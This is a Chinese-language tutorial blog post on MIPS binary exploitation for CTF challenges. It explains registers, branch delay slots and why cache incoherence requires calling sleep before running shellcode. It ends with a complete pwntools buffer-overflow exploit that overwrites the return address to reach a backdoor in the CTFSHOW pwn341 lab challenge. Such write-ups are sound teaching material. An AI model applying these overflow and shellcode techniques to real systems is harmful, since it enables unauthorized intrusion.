异架构|MIPS架构初探

参考文章:

https://blog.itewqq.cn/mips-pwn-tutorial/

https://pocs.app/exploiting-buffer-overflows-on-mips-architectures

https://migraine-sudo.github.io/2021/01/30/mips-pwn

三大架构区别

三大架构:MIPS、ARM、x86(x86-64),接触到的大部分pwn题都是x86架构,所以MIPS等其他架构的题型就被称为异架构。

MIPS寄存器

MIPS有32位也有64位,寄存器都以$开头。

  • $zero # 永远返回 0。
  • $v0 – $v1 # 存储函数返回值。
  • $a0 – $a3 # 用于函数调用时的参数传递,若参数超过 4 个,则多余的参数使用堆栈传递。
  • $s0 – $s7 # 存储各种东西,函数调用时需将用到的寄存器保存到堆栈。
  • $sp # 栈指针,指向栈顶。
  • $ra # 存储返回地址。

MIPS系统调用和传参

$v0 保存需要执行的系统调用的调用号,参数 1 ~ 4 分别保存在 $a0 ~ $a3 寄存器中,剩下的参数放在栈中,返回值也存放在 $v0 中。

MIPS的栈

与x86不一样,MIPS没有pop和push指令,通过 load 或者 store 指令进行内存访问的方式使用栈。

栈的关键寄存器:

$sp(Stack Pointer,寄存器29)
始终指向栈顶(栈从高地址向低地址生长,push时递减,pop时递增)。

$fp(Frame Pointer,寄存器30,可选)
用于标记当前函数的栈帧起始地址,便于调试和局部变量访问(类似x86的ebp)。该寄存器不是必须的,因为MIPS采用偏移寻址来访问变量,仅有$sp也能完成栈帧的维护。

MIPS的特点

1、无NX(栈不可执行)

由于MIPS的特性,它的栈/bss通常都是可执行的。

2、叶子函数和非叶子函数

x86在调用函数时,会把调用者(caller)的bp和ret(返回地址)压入栈中。

而MIPS中则分为两种情况:

对于叶子函数(不调用其他函数),函数(caller)的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。

对于非叶子函数(即函数中还调用了其他函数),则和x86类似,将函数(caller)的返回地址存入栈中。

3、流水线效应

本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。

通常来说,MIPS规定,在分支指令执行前会先执行分支指令后面一条指令,这条指令被称为分支延迟槽

一个例子如下:

mov $a0,$s1
jalr strrchr   //使用了$a0作为参数
mov $a0,$s0

请问在第二步时,$a0的值是$s1还是$s0?

答案:由于流水线效应,mov $a0,$s0实际上在jalr strrchr前被执行,所以在第二步时,$a0的值是$s0的值。

4、缓存不一致性

首先了解一下哈佛结构与冯诺依曼结构的区别:

哈佛结构:指令和数据分开存储

冯诺依曼结构:指令和数据不分开,共享同一存储空间和总线

MIPS 架构采用 哈佛架构的缓存设计,即 指令缓存Instruction cache(I-Cache) 和 数据缓存Data cache(D-Cache) 物理分离。这种设计提高了指令和数据的并行访问能力,但也引入了 缓存一致性问题

如图所示, I-Cache缓存可执行指令,CPU 只能从 I-Cache 中取指令执行。D-Cache缓存程序数据(如栈、堆、全局变量等),所有数据读写操作都经过 D-Cache。

MIPS 通常采用 写回(Write-Back)策略,即修改后的数据不会立即同步到主存,而是留在D-Cache 中,直到被替换或显式刷新。所以写入的shellcode不会马上存到I-Cache中去执行,而是停留在D-Cache中,直到主存(Memory)刷新对应内存块,

所以在写exp的时候,通常会用sleep函数来使得shellcode从D-Cache刷新到I-Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链,先调用sleep函数,然后再跳转到shellcode。

sleep函数能解决 MIPS 缓存不一致问题,是因为它通过系统调用进入内核态,触发操作系统的缓存维护机制:强制 D-Cache 写回内存确保 ShellCode 同步,并失效 I-Cache 使 CPU 重新加载指令,从而保证后续执行的代码是最新的。

例题1: CTFSHOW pwn341

逻辑非常简单:

后门函数:

打法很简单,溢出覆盖返回地址即可。由于是异架构,侧重点在于学习分析一下汇编代码。

ctfshow函数:

v1变量占0x18,紧接着是$fp(即x86的ebp),然后就是返回地址$ra,所以payload是:

payload = b'A' * 24             # 填充到fp
payload += p32(1)               # 填充fp
payload += p32(backdoor)        # 填充ra

为什么没用sleep?因为这是ret2text,没用到shellcode

完整exp:

from pwn import *

context(arch='mips', endian='little', os='linux')

# 目标程序
#p = process('/home/monke/Desktop/MIPS_PWN/pwn1')  # 本地测试
p = remote('wn.challenge.ctf.show', 28302)  # 远程攻击

# 关键地址
backdoor = 0x4005dc


# 构造 payload
payload = b'A' * 24             # 填充到fp
payload += p32(1)               # 填充fp
payload += p32(backdoor)        # 填充ra
#gdb.attach(p)
# 发送 payload
p.sendlineafter(b"Please enter your input: ", payload)
p.interactive()

打通:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇